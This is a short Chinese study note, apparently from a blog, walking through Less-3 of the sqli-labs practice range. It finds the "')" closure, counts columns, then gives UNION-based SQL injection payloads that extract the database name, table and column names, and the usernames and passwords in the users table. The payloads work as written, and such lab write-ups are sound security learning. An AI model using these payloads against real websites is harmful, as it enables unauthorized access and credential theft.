sqli-labs学习笔记3

less-3

打开靶场

输入id=1

判断注入类型

id=1'

报错了,存在sql注入,

id=1'--+

还是报错的,感觉是闭合符号不一样。

试试')

这里看了源代码

所以输入

id=1')--+

')来闭合前面的(',--+来注释掉后面的').

判断字段数

id = 1') order by 3 --+

回显正常,判断字段数4

id = 1') order by 4 --+

判断回显位

id= -1') union select 1,2,3 --+

得到了2,3的回显位。

爆破数据库名与数据库版本

id= -1') union select 1,database(),version() --+

得到了对应的数据库名称:security

爆破数据库的表名

id=-1 ') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

爆破users表的字段

id=-1 ') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+

得到对应的字段名。

爆破users表中字段的数据

id=-1') union select 1,2,group_concat(username,id,password) from users --+

最后得到完整的数据。

相关推荐
惜.己5 分钟前
MySql(九)
数据库·mysql
Chenyu_3106 分钟前
05.MySQL表的约束
android·开发语言·网络·数据库·网络协议·mysql·php
余大大.21 分钟前
SystemVerilog—Interface语法(二)
笔记
珹洺25 分钟前
数据库系统概论(十二)SQL 基于派生表的查询 超详细讲解(附带例题表格对比带你一步步掌握)
java·数据库·sql
小何慢行27 分钟前
PostgreSQL的聚集函数
数据库·postgresql
not coder34 分钟前
Pytest Fixture 是什么?
数据库·oracle·pytest
在线OJ的阿川42 分钟前
【大模型学习】项目练习:视频文本生成器
人工智能·python·学习·自然语言处理·个人开发
weixin_472339461 小时前
PostgreSQL优化实践:从查询到架构的性能提升指南
数据库·postgresql·django
余大大.1 小时前
SystemVerilog—Interface在class中的使用
笔记
Linda L2 小时前
Flink CDC将MySQL数据同步到数据湖
大数据·数据库·分布式·mysql·flink·kafka